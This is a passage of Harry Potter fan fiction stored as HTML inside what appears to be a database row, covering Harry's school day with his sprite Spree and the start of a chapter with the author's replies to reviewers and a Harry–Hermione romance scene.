asked.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Spree\nopened her eyes, &quot;You\'re not dreaming...but in a way you are.&nbsp; You ARE actually here, or at least your mind\nis.&nbsp; But you\'re body is sleeping.&nbsp; You\'re in your bed in the Gryffindor common\nroom, but your mind has come with me here.&nbsp;\nIt\'s kind of hard to explain.&quot; she said.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Harry\nnodded, &quot;I think I understand.&quot;&nbsp;\nHe let his head fall back onto the grass, &quot;I could stay here\nforever.&quot; he admitted.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Spree\nsat up, &quot;No you couldnt!&quot; she said firmly.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Why\nnot?&quot;&nbsp; Harry asked, &quot;I didn\'t\nmean literally but it just seems so peaceful here.&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Spree\nshook her head, &quot;You THINK you could.&nbsp;\nBut everyones the same here.&nbsp;\nThey always do the same things, same times, it\'s so boring!&nbsp; Believe me I know.&nbsp; The only interesting thing that\'s happened lately is that you\ncame!&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Harry\nsat up beside her, &quot;I guess.&quot; he said a little uncertainly,\n&quot;So...anyway.&nbsp; How do I get home?&quot;\n</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Spree\nturned to him and smiled, &quot;Oh well you see.&nbsp; If you wake up, like...because of alarmclock or because someones\nup and you hear them you wake up immediately and go back to your world.&nbsp; Unless we made you stay here...but we\nwouldn\'t do that!&nbsp; That\'d be against\neverything we belive in.&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Harry\nsmiled, &quot;Cool.&nbsp; And I\'m sorry about\nwhat I said earlier when I called you mother.&quot; he appologised.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Spree\nlaughed and shook her head, &quot;Oh I\'m over that.&nbsp; I needed an excuse to get a new dress anyway.&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Spree?&nbsp; I feel somethings pulling me.&quot;&nbsp; Harry said.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Oh\nyou must be waking up.&quot;&nbsp; Spree\nsaid.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;How\nwill I-&quot; Harry was cut off.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Know?&quot;&nbsp; Harry finished as he sat up in his bed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Know what?&quot;&nbsp; Ron asked sleepily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh sorry...nothing.&nbsp; Nevermind.&quot;&nbsp; Harry said looking around for Spree.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He spotted her strectching on his pillow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Morning sunshine!&quot;&nbsp; she said standing up, &quot;Oh good!&nbsp; I got to keep my new dress.&quot; she said\nlooking down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned and reached for his glasses, he\nslipped them on as he did everyday but today was different, everything was\nblurry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;That\'s weird.&quot;&nbsp; Harry said taking his glasses off to see\neverything perfectly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What is?&quot;&nbsp; Dean asked sleepily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;My glasses...they\'re making everything\nblurry.&quot;&nbsp; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree giggled, &quot;Oops.&nbsp; That\'s my fault.&nbsp; Sorry!&nbsp; I realised your\nvision was a little...wonky so I fixed it for you.&nbsp; Hope you don\'t mind.&quot; she said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Mind?&nbsp;\nCourse I don\'t.&quot;&nbsp; Harry said\nputting his glasses back on the table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Mind what?&quot;&nbsp; Ron asked confused.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What?&quot;&nbsp; Harry asked also confused.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You just...nevermind!&nbsp; Come on!&nbsp;\nOr we\'ll miss breakfast.&quot;&nbsp;\nRon said shaking his head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Breakfast!&nbsp; Man am I hungry!&quot;&nbsp;\nHarry said jumping out of his bed and grabbing his clothes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'ll wait here!&quot;&nbsp; Spree called as he went into the boys\nbathrooms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Morning \'Mione!&quot;&nbsp; Harry said happily, giving Hermione a kiss\non the cheek as he walked past.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stared at him, &quot;What has you in a\nsuch a good mood?&quot;&nbsp; she asked\nrunning to catch up to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;The sun is out and it\'s a beautiful day!\nWhat\'s there to be in a bad mood about?&quot;&nbsp;\nHarry asked saluting the Fat Lady who greeted them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione laughed, &quot;Well whatever it is I\'m\nglad you\'re in such a good mood.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded and waved to Nearly headless Nick.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Goodmorning young Gryffindors.&quot;&nbsp; Nick called waving.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry started whistling a tune as they walked\ninto the Great Hall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well look if it isn\'t Potty.&nbsp; Not too busy for your mudblood girlfriend\ntoday huh Potty?&quot;&nbsp; Malfoy asked\nfrom behind him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh goodmorning Malfoy.&quot;&nbsp; Harry said cheerfully, &quot;Have a nice\nday.&quot; he said and continued on his way to the Gryffindor table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy stared at him as he left, a look of\nconfusion on his face, &quot;Hmph.&quot; he settled for and slouched back to\nthe Slytherin table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;\'Morning.&quot;&nbsp; Harry said, helping himself to some scrambled eggs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Wow.&nbsp;\nI should take you there more often if you\'re going to be in such a good\nmood.&quot;&nbsp; Spree said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry just smiled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What is up with you today?&quot;&nbsp; Ron asked staring as Harry stuffed food in\nhis mouth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hm?&quot;&nbsp; Harry asked swallowing, &quot;Oh nothing.&nbsp; Just in a good mood.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron and Hermione exchanged shrugs and started\neating.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So did you get that essay done last\nnight?&quot;&nbsp; Ron asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stopped eating, &quot;Are you telling\nme you left your transfiguration essay until the last minute to do??&quot; she\ndemanded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stopped eating, &quot;Well I did have to\ndo my potions essay too \'Mione and I was really busy this week...but yeah I got\nit done.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermoine tutted loudly, &quot;Well you should\nprioritise things.&nbsp; Maybe you should put\nQudditch on hold.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Nearly everyone stopped to stare at her,\n&quot;You\'re kidding.&quot; Ron said flatly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry interrupted what could be a huge argument\nby saying, &quot;I got all my homework done didn\'t I?&nbsp; Now could you pass me the jam I\'m rather hungry today.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You\'re eating a lot.&quot;&nbsp; Spree said casually.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Mmm.&quot;&nbsp; Harry acknowleged, taking another bite of toast.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry you must REALLY be hungry\ntoday.&nbsp; You\'ve eaten more than\nRon!&quot;&nbsp; Hermione teased.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry flashed her a sheepish smile and then dug\ninto more food.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree sighed and shook her head,\n&quot;Boys.&nbsp; Never think of anything but\nfood.&quot; she said, her voice teasing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned but didn\'t say a word.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Everyone hand in your essays.&quot;&nbsp; Snape said standing at the front of the\nclassroom.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Everyone shuffled through their parchments and\npassed the essays up to the front.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Snape collected them haughtily, &quot;They\'d\nbetter be good.&quot; he snapped before placing them on his desk, &quot;You\nhave five minutes to read the potion on page 157.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Everyone scrambled for their books, Snape was\nprone to making them do potions by memory.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree fluttered down onto Harrys book.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh interesting.&quot; she said, then\ngiggled, &quot;That can be used in contraceptive potions.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry turned red, &quot;Spree!&quot; he hissed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She giggled and sat down on his book to\nread.&nbsp; Harry shook his head and quickly\nstarted memorising it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Close your books!&quot;&nbsp; Snape snapped five minutes later {AN: Snape\nsnapped...-_-\'\'}, &quot;You have twenty minutes to create the potion.&nbsp; Now get to work.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry pulled out his ingredients while he could\nstill remember them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Don\'t forget the bats wing.&quot;&nbsp; Spree pointed out as he forgot to take one.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry shook his head and quickly grabbed\none.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">{20 minutes later}</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Everyone let your potions simmer.&nbsp; Now you should have made the Potion of\nBlazing heat.&nbsp; If you didn\'t tip it\nout.&quot; Snape said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">There were some moans and a few people tipped\ntheir potions out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It should be orange.&nbsp; If it\'s not tip it out.&quot;&nbsp; Snape said and once again a few people\ntipped their potions out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Now for the rest of you who followed\ninstructions.&nbsp; And a drop of water.&nbsp; ONE drop.&nbsp;\nIt should turn yellow.&quot;&nbsp;\nSnape said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry dropped a drop of water into the potion\nand was pleased when it turned yellow.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Tip it out.&quot;&nbsp; Snape snarled to Neville who\'s had turned\ngreen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;The rest of you who did it right bottle\nit and bring it to my desk.&quot; Snape said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry bottled his and gave it to Professor\nSnape who glared at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I don\'t like him.&quot;&nbsp; Spree said, sticking her tongue out at\nSnape, &quot;He\'s ugly.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I know.&quot;&nbsp; Harry murmurred, packing up his belongings.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hmph.&nbsp;\nGreasy jerk!&quot;&nbsp; Spree said shaking\nher fist at him, &quot;Hmph!&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry bit back a grin at Sprees outburst.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The bell rang and Snape dismissed them with his\nusual snarl of, &quot;Get out.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So did you decide what creatures you were\ngoing to do for you DADA assignment?&quot;&nbsp;\nHermione asked Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;No....&quot;&nbsp; Harry moaned, &quot;But I\'ve got an idea so...yeah...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled and turned left as they turned\nright, &quot;I\'ll see you guys at lunch!&quot; she said going to Arithmacy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Come on Harry.&nbsp; Diviniation.&quot;&nbsp; Ron\nsaid, &quot;It\'ll be boiling up there.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Ah yes.&nbsp;\nProfessor Trewlawny.&nbsp; She\'s a\ncharacter alright.&quot;&nbsp; Spree said,\nstanding on top of Harrys head, &quot;To the North Tower!&quot;&nbsp; Spree said striking a pose.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry shook his head with laughter and had to\nbite his lip not to laugh as Spree fell off and onto books.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oi!&nbsp;\nI was up there!&quot; she said, not really angry at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Come on Harry.&quot;&nbsp; Ron said, &quot;We don\'t want to be\nlate!&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry amused, just followed Ron as they quickly\nmade their way to the North Tower.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I don\'t get it.&quot;&nbsp; Spree said flopping down on Harrys work,\n&quot;This is boring.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry bit back a snort of laughter, &quot;Well\nits Divination.&nbsp; I didn\'t say it was\ninteresting.&quot; he whispered quietly so only she could hear him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well...this is dumb.&nbsp; Why are we doing this?&quot;&nbsp; she asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Beats me.&quot;&nbsp; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Boooooring.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And that\'s that.&nbsp; That\'s the first Chapter to the sequel of Operation KISS. I hope\neveryone enjoyed it!! So yes...why dont yah tell me what you thought with a\nnice long REVIEW *hint hint* </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;<b style="mso-bidi-font-weight:normal"><br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(136, 2, '\n\n\n\n<p class="MsoNormal">Disclaimer: I don\'t own these\npeople</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Author Notes: Thanks to\neveryone who reviewed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">m4x-\nPeter Pan-ish?&nbsp; Well that was so not\nwhat I was going for.&nbsp; -_-&#8216;&#8217; Super&#8230;well\nat least you liked the prequel to it&#8230;just b/c Harry has a sprite, who happens\nto be his friend, doesn&#8217;t mean that he&#8217;s going to jump up in green tights and\nfly&#8230;well he will fly (on a broomstick) but that doesn&#8217;t mean he&#8217;s going to wear\ngreen tights!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Isabella\nGrace- Let me just start out by saying - I think you are the best reviewer in\nthe world!&nbsp; You always know what to say\nto make me feel better from what some reviewers say!!&nbsp; And I swear you are in my mind!&nbsp;\nYou know that? I&#8217;m glad you like Spree but don&#8217;t worry I won&#8217;t let Harry\nforget about &#8216;Mione!&nbsp; This chapter\nshould be to you&#8217;re liking!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">moonlight\nand midnight- I&#8217;m working on the Harry/ Hermione thing!&nbsp; This chapter is going to be a bit of a\nromantic chapter okay??&nbsp; I hope that it\nmakes up for the lack of H/H in the last chapter</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">thefly-\nUpdating as requested^^.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nAlanna Granger- Lol^^ Yay another Spree liker!! I&#8217;m glad!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Canadian\nCrow- reminds you of someone you know?&nbsp;\nWell that&#8217;s good^^.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Angel-\nI wouldn&#8217;t forget my favourite couple THAT easily!!!&nbsp; Don&#8217;t worry H/H is coming back!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ducksrule-\nNot withdrawal!!!&nbsp; Don&#8217;t worry! &nbsp;I have the remedy RIGHT here!&nbsp; This has got to be one of the FLUFFIEST\nthings I&#8217;ve written!!&nbsp; So take a deep\nbreath and read on.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Leah-\nA real H/H shipper huh?&nbsp; Me too^^ but I\nhave to admit I do read other stories too but I&#8217;m a H/H through and through.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">elf-princess-\nEveryone&#8217;s entitled&nbsp; to their own\nopinion&#8230;but why do you think that spree only being seen by Harry is making the\nstory insane??&nbsp; I won&#8217;t hurt you&#8230;I just\nwant to know because I want to make the story better&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">HrryPttrFreak87-\nI&#8217;m glad you&#8217;re enjoying it^^</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Alright\nwell then.&nbsp; That\'s that for\nreviewers.&nbsp; I have to admit the\n\'comments\' that I got before for the last chapter were a bit...well\ndisconcerting.&nbsp; But I decided that\npeople are entitled to their own comments and I\'m just going to try and make it\nwork for everyone.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Chapter 2</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">Dedicated to Isabella Grace</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For\nbeing the best reviewer ever!!</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nstretched and looked over at Hermione who was sitting across the table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Something\nwrong Harry?&quot;&nbsp; Hermione asked,\nlooking up and seeing her staring at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s\neyes seemed to be locked firmly on her lips, they were drawing him towards her\nand he certainly wasn\'t going to object.&nbsp;\nHe leaned closer to her, stretching over the table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry\nwhat-&#8221; Hermione was cut off as his lips found the target.&nbsp; Her eyes fluttered shut and she returned the\nkiss.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Aw\nget a room.&quot;&nbsp; Ron said, laughing at\nthem.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nwas practically climbing over the table to get to Hermione.&nbsp; Ron snorted and gave Harry a shove forward,\nwhich sent him sprawling and made him break the kiss.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry,\nblushing a little, drew back.&nbsp; Hermione\nlaughed at the look on his face, &quot;Well that was a little unexpected.&quot;\nshe said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nbit his lip as he sat back down in his seat, &quot;It shouldn\'t be.&quot; he\nsaid finally, &quot;We\'ve been together for a while now...and I don\'t know I\njust feel like we haven&#8217;t really had much time together lately.&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nnodded, &quot;Yeah I know how you feel...but I mean, I understand.&nbsp; You\'ve been so busy lately and of course\nyou\'re studies come first!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron\nshut his book with a bang, &quot;How can anyone study so late at\nnight?&quot;&nbsp; Ron sighed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\ngave him a stern look, &quot;Ron!&nbsp; It\'s\nonly 10pm.&nbsp; You can\'t possibly mean it\nthat!&nbsp; We\'ve got that potions exam\ntomorrow and you\'ve hardly studied.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron\nsighed loudly and shook his head, &quot;No I can\'t do it.&nbsp; I\'ll study tomorrow before school...this\nisn\'t getting me anywhere.&nbsp; I\'m not\ngoing to remember any of this tomorrow anyway.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\ngave him a look that would have rivaled Professor McGonagalls glare, &quot;Well\nif you\'re not even going to try I don\'t know why I bother!&nbsp; Are you going too Harry?&quot; she asked,\nglaring at Harry now.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Er...no\nnot yet.&nbsp; I\'m not really all that tired\nyet.&quot;&nbsp; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\ngave him a bright smile, &quot;Night Ron.&quot; she said cheerfully, looking\nback down at her book.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron\nshrugged at Harry, &quot;Alright then.&nbsp;\nNight guys.&nbsp; See you later\nHarry.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So\nHarry have you studied much for Potions?&quot;&nbsp;\nHermione asked casually.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nsmiled, &quot;Well...not really no.&nbsp; Not\nyet anyway.&nbsp; I was about to do that\nnow.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry!&nbsp; Harry!&quot; Someone said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nturned to look around, but seeing no one he raised an eyebrow and breathed,\n&quot;Spree?&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nstood up, 